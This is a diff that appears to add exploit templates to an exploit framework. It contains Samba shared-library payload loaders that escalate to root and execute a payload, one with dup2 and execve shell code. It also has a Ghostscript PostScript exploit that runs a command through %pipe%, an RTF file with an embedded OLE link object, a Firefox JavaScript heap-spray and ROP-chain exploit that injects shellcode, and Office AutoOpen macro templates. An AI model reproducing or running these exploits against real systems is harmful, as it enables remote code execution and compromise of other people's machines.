||||
|
||||
// Duplicate standard input/output/error
|
||||
dup2(s, 0);
|
||||
dup2(s, 1);
|
||||
dup2(s, 2);
|
||||
|
||||
execve(args[0], args, NULL);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Samba 3 looks for init_samba_module
|
||||
int init_samba_module(void) { return samba_init_module(); }
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,47 @@
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.0");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.2.5");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 10000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
extern bool change_to_root_user(void);
|
||||
|
||||
// Samba 4 looks for samba_init_module
|
||||
int samba_init_module(void)
|
||||
{
|
||||
void *mem;
|
||||
void (*fn)();
|
||||
|
||||
change_to_root_user();
|
||||
mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
|
||||
if (mem == MAP_FAILED)
|
||||
return 0;
|
||||
|
||||
memcpy(mem, payload, PAYLOAD_SIZE);
|
||||
fn = (void(*)())mem;
|
||||
|
||||
if (! fork()) {
|
||||
fn();
|
||||
kill(getpid(), 9);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Samba 3 looks for init_samba_module
|
||||
int init_samba_module(void) { return samba_init_module(); }
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,34 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 10000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
extern bool change_to_root_user(void);
|
||||
|
||||
// Samba 4 looks for samba_init_module
|
||||
int samba_init_module(void)
|
||||
{
|
||||
change_to_root_user();
|
||||
if (! fork()) {
|
||||
system((const char*)payload);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Samba 3 looks for init_samba_module
|
||||
int init_samba_module(void) { return samba_init_module(); }
|
||||
@@ -0,0 +1,101 @@
|
||||
%!PS-Adobe-3.0 EPSF-3.0
|
||||
%%BoundingBox: -0 -0 100 100
|
||||
|
||||
|
||||
/size_from 10000 def
|
||||
/size_step 500 def
|
||||
/size_to 65000 def
|
||||
/enlarge 1000 def
|
||||
|
||||
%/bigarr 65000 array def
|
||||
|
||||
0
|
||||
size_from size_step size_to {
|
||||
pop
|
||||
1 add
|
||||
} for
|
||||
|
||||
/buffercount exch def
|
||||
|
||||
/buffersizes buffercount array def
|
||||
|
||||
|
||||
0
|
||||
size_from size_step size_to {
|
||||
buffersizes exch 2 index exch put
|
||||
1 add
|
||||
} for
|
||||
pop
|
||||
|
||||
/buffers buffercount array def
|
||||
|
||||
0 1 buffercount 1 sub {
|
||||
/ind exch def
|
||||
buffersizes ind get /cursize exch def
|
||||
cursize string /curbuf exch def
|
||||
buffers ind curbuf put
|
||||
cursize 16 sub 1 cursize 1 sub {
|
||||
curbuf exch 255 put
|
||||
} for
|
||||
} for
|
||||
|
||||
|
||||
/buffersearchvars [0 0 0 0 0] def
|
||||
/sdevice [0] def
|
||||
|
||||
enlarge array aload
|
||||
|
||||
{
|
||||
.eqproc
|
||||
buffersearchvars 0 buffersearchvars 0 get 1 add put
|
||||
buffersearchvars 1 0 put
|
||||
buffersearchvars 2 0 put
|
||||
buffercount {
|
||||
buffers buffersearchvars 1 get get
|
||||
buffersizes buffersearchvars 1 get get
|
||||
16 sub get
|
||||
254 le {
|
||||
buffersearchvars 2 1 put
|
||||
buffersearchvars 3 buffers buffersearchvars 1 get get put
|
||||
buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
|
||||
} if
|
||||
buffersearchvars 1 buffersearchvars 1 get 1 add put
|
||||
} repeat
|
||||
|
||||
buffersearchvars 2 get 1 ge {
|
||||
exit
|
||||
} if
|
||||
%(.) print
|
||||
} loop
|
||||
|
||||
.eqproc
|
||||
.eqproc
|
||||
.eqproc
|
||||
sdevice 0
|
||||
currentdevice
|
||||
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
|
||||
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
|
||||
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
|
||||
put
|
||||
|
||||
|
||||
buffersearchvars 0 get array aload
|
||||
|
||||
sdevice 0 get
|
||||
16#3e8 0 put
|
||||
|
||||
sdevice 0 get
|
||||
16#3b0 0 put
|
||||
|
||||
sdevice 0 get
|
||||
16#3f0 0 put
|
||||
|
||||
|
||||
currentdevice null false mark /OutputFile (%pipe%echo vulnerable > /dev/tty)
|
||||
.putdeviceparams
|
||||
1 true .outputpage
|
||||
.rsdparams
|
||||
%{ } loop
|
||||
0 0 .quit
|
||||
%asdf
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1033\deflangfe2052\themelang1033\themelangfe2052\themelangcs0
|
||||
{\info
|
||||
{\author Microsoft}
|
||||
{\operator Microsoft}
|
||||
}
|
||||
{\*\xmlnstbl {\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}
|
||||
{
|
||||
{\object\objautlink\objupdate\rsltpict\objw291\objh230\objscalex99\objscaley101
|
||||
{\*\objclass Word.Document.8}
|
||||
{\*\objdata 0105000002000000
|
||||
090000004f4c45324c696e6b000000000000000000000a0000
|
||||
d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
fffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000003000000000000c000000000000046000000000000000000000000704d
|
||||
6ca637b5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000f00000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000
|
||||
0000000000000000000004000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000
|
||||
00000000000000000000000005000000b700000000000000010000000200000003000000fefffffffeffffff0600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
MINISTREAM_DATA
|
||||
0105000000000000}
|
||||
{\result {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid1979324 }}}}
|
||||
{\*\datastore }
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
<html><body bgcolor="#2F3236"><center><div><iframe width="1280" height="720" src="https://www.youtube.com/embed/wArxEk0Rxhc?autoplay=1" frameborder="0" allowfullscreen></iframe></div></center></body></html>
|
||||
@@ -0,0 +1,362 @@
|
||||
var window = self;
|
||||
|
||||
function Memory(b,a,f)
|
||||
{
|
||||
this._base_addr=b;
|
||||
this._read=a;
|
||||
this._write=f;
|
||||
this._abs_read = function(a) {
|
||||
a >= this._base_addr ? a = this._read( a - this._base_addr) : ( a = 4294967295 - this._base_addr + 1 + a, a = this._read(a) );
|
||||
return 0>a?4294967295+a+1:a
|
||||
|
||||
};
|
||||
this._abs_write = function(a,b) {
|
||||
a >= this._base_addr ? this._write(a - this._base_addr, b) : ( a = 4294967295 - this._base_addr + 1 + a, this._write(a,b) )
|
||||
};
|
||||
this.readByte = function(a) {
|
||||
return this.read(a) & 255
|
||||
|
||||
};
|
||||
this.readWord = function(a) {
|
||||
return this.read(a) & 65535
|
||||
};
|
||||
this.readDword = function(a){ return this.read(a) };
|
||||
this.read = function(a,b) {
|
||||
if (a%4) {
|
||||
var c = this._abs_read( a & 4294967292),
|
||||
d = this._abs_read( a+4 & 4294967292),
|
||||
e = a%4;
|
||||
return c>>>8*e | d<<8*(4-e)
|
||||
}
|
||||
return this._abs_read(a)
|
||||
};
|
||||
this.readStr = function(a) {
|
||||
for(var b = "", c = 0;;) {
|
||||
if (32 == c)
|
||||
return "";
|
||||
var d = this.readByte(a+c);
|
||||
if(0 == d)
|
||||
break;
|
||||
b += String.fromCharCode(d);
|
||||
c++
|
||||
}
|
||||
return b
|
||||
|
||||
};
|
||||
this.write = function(a){}
|
||||
}
|
||||
|
||||
function PE(b,a) {
|
||||
this.mem = b;
|
||||
this.export_table = this.module_base = void 0;
|
||||
this.export_table_size = 0;
|
||||
this.import_table = void 0;
|
||||
this.import_table_size = 0;
|
||||
this.find_module_base = function(a) {
|
||||
for(a &= 4294901760; a; ) {
|
||||
if(0x5a4d == this.mem.readWord(a))
|
||||
return this.module_base=a;
|
||||
a -= 65536
|
||||
}
|
||||
};
|
||||
this._resolve_pe_structures = function() {
|
||||
peFile = this.module_base + this.mem.readWord(this.module_base+60);
|
||||
if(0x4550 != this.mem.readDword(peFile))
|
||||
throw "Bad NT Signature";
|
||||
|
||||
this.pe_file = peFile;
|
||||
this.optional_header = this.pe_file+36;
|
||||
this.export_directory = this.module_base+this.mem.readDword(this.pe_file+120);
|
||||
this.export_directory_size = this.mem.readDword(this.pe_file+124);
|
||||
this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);
|
||||
this.import_directory_size=this.mem.readDword(this.pe_file+132)};
|
||||
this.resolve_imported_function=function(a,b){
|
||||
void 0==this.import_directory&&this._resolve_pe_structures();
|
||||
for(var e=this.import_directory,c=e+this.import_directory_size;e<c;){
|
||||
var d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);
|
||||
if(a.toUpperCase()==d.toUpperCase()){
|
||||
for(var c = this.mem.readDword(e) + this.module_base,
|
||||
e = this.mem.readDword(e+16) + this.module_base,
|
||||
d = this.mem.readDword(c),
|
||||
f = 0 ; 0 !=d ; )
|
||||
{
|
||||
if(this.mem.readStr(d+this.module_base+2).toUpperCase() == b.toUpperCase())
|
||||
return this.mem.readDword(e+4*f);
|
||||
f++;
|
||||
d = this.mem.readDword(c+4*f)
|
||||
}
|
||||
break
|
||||
}
|
||||
e+=20
|
||||
}
|
||||
return 0
|
||||
};
|
||||
void 0!=a && this.find_module_base(a)
|
||||
}
|
||||
|
||||
function ROP(mem,a){
|
||||
this.mem = mem;
|
||||
this.pe = new PE(mem,a);
|
||||
this.pe._resolve_pe_structures();
|
||||
this.module_base = this.pe.module_base + 0x1000;
|
||||
|
||||
this.findSequence = function(seq) {
|
||||
for(var b=0;;) {
|
||||
for(var e=0,c=0;c<seq.length;c++)
|
||||
if(this.mem.readByte(this.module_base+b+c)==seq[c]&&e==c)
|
||||
e++;
|
||||
else
|
||||
break;
|
||||
if(e==seq.length)
|
||||
return this.module_base+b;
|
||||
b++
|
||||
|
||||
}
|
||||
|
||||
};
|
||||
this.findStackPivot=function() {
|
||||
return this.findSequence([0x94, 0xc3])
|
||||
|
||||
};
|
||||
this.findPopRet=function(a) {
|
||||
return this.findSequence([0x58, 0xc3])
|
||||
|
||||
};
|
||||
this.ropChain=function(base, vtOffset, array = undefined) {
|
||||
var buf = undefined
|
||||
if (array != undefined)
|
||||
buf = array
|
||||
else
|
||||
buf = new ArrayBuffer(0x1000)
|
||||
ropBuff = new Uint32Array(buf);
|
||||
var stackPivot = this.findStackPivot(),
|
||||
popRet = this.findPopRet("EAX"),
|
||||
virtualAllocAddr = this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");
|
||||
|
||||
ropBuff[0]= popRet+1;
|
||||
ropBuff[1]= popRet;
|
||||
ropBuff[2]= base+vtOffset+4;
|
||||
ropBuff[3]= stackPivot;
|
||||
ropBuff[vtOffset>>2] = stackPivot;
|
||||
|
||||
offset = (vtOffset+4>>2);
|
||||
ropBuff[offset++]=virtualAllocAddr;
|
||||
ropBuff[offset++]=base+(vtOffset+0x1c);
|
||||
ropBuff[offset++]=base;
|
||||
ropBuff[offset++]=0x1000;
|
||||
ropBuff[offset++]=0x1000;
|
||||
ropBuff[offset++]=0x40;
|
||||
ropBuff[offset++]=0xcccccccc;
|
||||
|
||||
return ropBuff;
|
||||
}
|
||||
}
|
||||
|
||||
var conv=new ArrayBuffer(8)
|
||||
var convf64=new Float64Array(conv)
|
||||
var convu32=new Uint32Array(conv)
|
||||
|
||||
var qword2Double=function(b,a) {
|
||||
convu32[0]=b;
|
||||
convu32[1]=a;
|
||||
return convf64[0]
|
||||
}
|
||||
|
||||
var doubleFromFloat = function(b,a) {
|
||||
convf64[0]=b;
|
||||
return convu32[a]
|
||||
}
|
||||
|
||||
var sprayArrays=function() {
|
||||
var mArray = new Array(0x1fffe)
|
||||
var arrBuf = new ArrayBuffer(0x100000);
|
||||
var dwArray = new Uint32Array(arrBuf)
|
||||
var qwArray = new Float64Array(arrBuf, 0x10)
|
||||
|
||||
|
||||
for (var i = 0; i < 0x1fffe; i++)
|
||||
mArray[i] = qword2Double(0, 0);
|
||||
|
||||
mArray[2] = qword2Double(arrBase + 0xaf0, 0)
|
||||
mArray[0xe] = qword2Double(arrBase + 0x08, 0)
|
||||
mArray[0x15] = qword2Double(0, 0x02)
|
||||
mArray[0x21] = qword2Double(0x02, 0)
|
||||
mArray[0x22] = qword2Double(arrBase + 0x2f0, arrBase + 0x1f0)
|
||||
mArray[0x3e] = qword2Double(0, arrBase + 0x3f0)
|
||||
mArray[0x5e] = qword2Double(arrBase + 0x4f0, 0)
|
||||
mArray[0x80] = qword2Double(0x02, 0)
|
||||
mArray[0x9f] = qword2Double(arrBase + 0x500,0)
|
||||
mArray[0xa0] = qword2Double(0, 0xf0000000)
|
||||
mArray[0xa2] = qword2Double(0, 0xbff00000)
|
||||
mArray[0xa4] = qword2Double(0x02, 0)
|
||||
mArray[0xa5] = qword2Double(0x01, 0)
|
||||
mArray[0xaa] = qword2Double(0, arrBase + 0x5f0)
|
||||
mArray[0xac] = qword2Double(arrBase + 0x6f0, arrBase + 0x700)
|
||||
mArray[0xb3] = qword2Double(0, 0x02)
|
||||
mArray[0xb4] = qword2Double(0, 0)
|
||||
mArray[0xde] = qword2Double(arrBase + 0x7f0, 0)
|
||||
mArray[0xfe] = qword2Double(0x01, 0);
|
||||
mArray[0xff] = qword2Double(0, 0x10000000)
|
||||
mArray[0x15e] = qword2Double(0x07, 0)
|
||||
mArray[0x15f] = qword2Double(arrBase + 0xf0, arrBase - 0x10 + 0x05)
|
||||
mArray[0x160] = qword2Double(arrBase - 0x07, arrBase - 0x10 + 0x0d)
|
||||
mArray[0x161] = qword2Double(arrBase + 0x10000b, arrBase + 0x100007)
|
||||
mArray[0x162] = qword2Double(arrBase + 0x100003, 0)
|
||||
mArray[0x202] = qword2Double(arrBase + 0x1af0, 0)
|
||||
mArray[0x20e] = qword2Double(arrBase + 0x1008, 0)
|
||||
mArray[0x215] = qword2Double(0, 0x02)
|
||||
mArray[0x221] = qword2Double(0x02, 0)
|
||||
mArray[0x222] = qword2Double(arrBase + 0x12f0, arrBase + 0x11f0)
|
||||
mArray[0x23e] = qword2Double(0, arrBase + 0x13f0)
|
||||
mArray[0x25e] = qword2Double(arrBase + 0x14f0, 0)
|
||||
mArray[0x280] = qword2Double(0x02, 0)
|
||||
mArray[0x29f] = qword2Double(arrBase + 0x1500,0)
|
||||
mArray[0x2a0] = qword2Double(0, 0xf0000000)
|
||||
mArray[0x2a2] = qword2Double(0, 0xbff00000)
|
||||
mArray[0x2a4] = qword2Double(0x02, 0)
|
||||
mArray[0x2a5] = qword2Double(0x01, 0)
|
||||
mArray[0x2aa] = qword2Double(0, arrBase + 0x15f0)
|
||||
mArray[0x2ac] = qword2Double(arrBase + 0x16f0, arrBase + 0x1700)
|
||||
mArray[0x2b3] = qword2Double(0, 0x02)
|
||||
mArray[0x2b4] = qword2Double(0, 0x00)
|
||||
mArray[0x2de] = qword2Double(arrBase + 0x17f0, 0)
|
||||
mArray[0x2fe] = qword2Double(0x01, 0)
|
||||
mArray[0x2ff] = qword2Double(0, 0x10000000)
|
||||
|
||||
var i = mArray.length;
|
||||
while(i--) {qwArray[i] = mArray[i];}
|
||||
|
||||
for (var i = 0; i < spr.length; i += 2)
|
||||
{
|
||||
spr[i] = mArray.slice(0)
|
||||
spr[i + 1] = arrBuf.slice(0)
|
||||
}
|
||||
}
|
||||
|
||||
var spr = new Array(400)
|
||||
var arrBase = 0x22100010;
|
||||
|
||||
// insert codes here \/ ------
|
||||
Shellcode = unescape("INSERTSHELLCODEHEREPLZ");
|
||||
|
||||
if (Shellcode.length % 2 != 0)
|
||||
Shellcode += "NOPSGOHERE";
|
||||
|
||||
sprayArrays();
|
||||
postMessage(arrBase)
|
||||
|
||||
|
||||
var len = spr[0].length;
|
||||
var mArray = undefined;
|
||||
var dwArray = undefined;
|
||||
var qwArray = undefined;
|
||||
var container = undefined;
|
||||
|
||||
while (mArray == undefined)
|
||||
{
|
||||
for (var i = 0; i < spr.length; i += 2)
|
||||
{
|
||||
if (spr[i].length != len)
|
||||
{
|
||||
container = dwArray = new Uint32Array(spr[i + 1])
|
||||
qwArray = new Float64Array(spr[i + 1], 0x10)
|
||||
if (dwArray[1] == 0)
|
||||
{
|
||||
dwArray = new Uint32Array(spr[i - 1])
|
||||
dwArray[0] = dwArray[1] = dwArray[2] = dwArray[3] = 0xdea110c8;
|
||||
qwArray = new Float64Array(spr[i - 1], 0x10)
|
||||
}
|
||||
mArray = spr[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var off = 0x100000;
|
||||
if (dwArray != container)
|
||||
off = off * 2;
|
||||
|
||||
var memory = new Uint32Array(0x10);
|
||||
var len = memory.length;
|
||||
mArray[0x20000] = memory;
|
||||
ropArrBuf = new ArrayBuffer(0x1000)
|
||||
mArray[0x20001] = ropArrBuf;
|
||||
ropArrBufPtr = container[0x6]
|
||||
|
||||
targetAddr = container[4] + 0x1b;
|
||||
var arrayBase = container[4] + 0x30;
|
||||
|
||||
mArray[0x20000] = undefined;
|
||||
mArray[0x20001] = undefined;
|
||||
|
||||
var n = 0x40;
|
||||
qwArray[0x35e] = mArray[0x35e] = qword2Double(n + 1, 0)
|
||||
qwArray[0x35f] = mArray[0x35f] = qword2Double(arrBase - 0x10 + 0x1100, targetAddr)
|
||||
for (var i = 0; i < (n/2); i++)
|
||||
qwArray[0x360 + i] = mArray[0x360 + i] = qword2Double(targetAddr, targetAddr)
|
||||
|
||||
container[0] = container[1] = container[2] = container[3] = 0xffffff81;
|
||||
qwArray[0x1e] = mArray[0x1e] = qword2Double(0xdea110c8, 0)
|
||||
qwArray[0xfe] = mArray[0xfe] = qword2Double(2, 0)
|
||||
qwArray[0xb3] = mArray[0xb3] = qword2Double(0, 3)
|
||||
qwArray[0xa9] = mArray[0xa9] = qword2Double(0, 2)
|
||||
|
||||
while (memory.length == len) {}
|
||||
|
||||
|
||||
var mem = new Memory(arrayBase,
|
||||
function(b) { return memory[b/4]; },
|
||||
function(b,a) { memory[b/4] = a; });
|
||||
|
||||
var ptr = targetAddr - 0x1b;
|
||||
var xulPtr = mem.readDword(ptr + 0xc);
|
||||
var rop = new ROP(mem, xulPtr);
|
||||
var ropBase = mem.readDword(ropArrBufPtr + 0x10);
|
||||
rop.ropChain(ropBase, 0x130, ropArrBuf);
|
||||
var backupESP = rop.findSequence(Array(0x89, 0x01, 0xc3))
|
||||
var ropChain = new Uint32Array(ropArrBuf)
|
||||
ropChain[0] = backupESP;
|
||||
CreateThread = rop.pe.resolve_imported_function('KERNEL32.dll', 'CreateThread')
|
||||
|
||||
ropChain[0x12c >> 2] = ropChain[0x130 >> 2];
|
||||
|
||||
for (var i = 0; i < ropChain.length; i++)
|
||||
{
|
||||
if (ropChain[i] == 0xcccccccc)
|
||||
break;
|
||||
}
|
||||
|
||||
ropChain[i++] = 0xc4819090;
|
||||
ropChain[i++] = 0x00000800;
|
||||
ropChain[i++] = 0x5050c031;
|
||||
ropChain[i++] = 0x5b21eb50;
|
||||
ropChain[i++] = 0xb8505053;
|
||||
ropChain[i++] = CreateThread;
|
||||
ropChain[i++] = 0xb890d0ff;
|
||||
ropChain[i++] = arrBase + 0x2040;
|
||||
ropChain[i++] = 0x5f58208b;
|
||||
ropChain[i++] = 0xbe905d58;
|
||||
ropChain[i++] = 0xFFFFFF00;
|
||||
ropChain[i++] = 0x000cc2c9;
|
||||
ropChain[i++] = 0xffffdae8;
|
||||
ropChain[i++] = 0x909090ff;
|
||||
|
||||
for (var j = 0; j < Shellcode.length; j += 2)
|
||||
ropChain[i++] = Shellcode.charCodeAt(j) + Shellcode.charCodeAt(j + 1) * 0x10000;
|
||||
|
||||
mArray[0x400] = qwArray[0x400] = qword2Double(arrBase + 0x2000, 0)
|
||||
mArray[0x400 + (0x10 >> 3)] = qwArray[0x400 + (0x10 >> 3)] = qword2Double(0, arrBase + 0x2040)
|
||||
mArray[0x400 + (0x18 >> 3)] = qwArray[0x400 + (0x18 >> 3)] = qword2Double(4, 0)
|
||||
mArray[0x400 + (0x40 >> 3)] = qwArray[0x400 + (0x40 >> 3)] = qword2Double(ropBase, 0)
|
||||
mArray[0x400 + (0xac >> 3)] = qwArray[0x400 + (0xac >> 3)] = qword2Double(0, 2)
|
||||
|
||||
for (var i = 0; i < 4; i++) {
|
||||
container[0x400 + i] = 0xdea110c8
|
||||
}
|
||||
|
||||
qwArray[0x21e] = mArray[0x21e] = qword2Double(0xdea110c8, 0)
|
||||
qwArray[0x2fe] = mArray[0x2fe] = qword2Double(2, 0)
|
||||
qwArray[0x2b3] = mArray[0x2b3] = qword2Double(0, 3)
|
||||
qwArray[0x2a9] = mArray[0x2a9] = qword2Double(0, 2)
|
||||
|
||||
postMessage("!")
|
||||
@@ -0,0 +1,13 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<dc:title/>
|
||||
<dc:subject/>
|
||||
<dc:creator/>
|
||||
<cp:keywords/>
|
||||
<dc:description></dc:description>
|
||||
<cp:lastModifiedBy>Nobody</cp:lastModifiedBy>
|
||||
<cp:revision>1</cp:revision>
|
||||
<dcterms:created xsi:type="dcterms:W3CDTF">2017-05-25T19:12:00Z</dcterms:created>
|
||||
<dcterms:modified xsi:type="dcterms:W3CDTF">2017-05-25T19:28:00Z</dcterms:modified>
|
||||
<cp:category/>
|
||||
</cp:coreProperties>
|
||||
Binary file not shown.
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>
|
||||
Binary file not shown.
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/wordVbaData" Target="vbaData.xml"/></Relationships>
|
||||
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
|
||||
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC *****
|
||||
|
||||
CODEGOESHERE
|
||||
</script:module>
|
||||
@@ -0,0 +1,5 @@
|
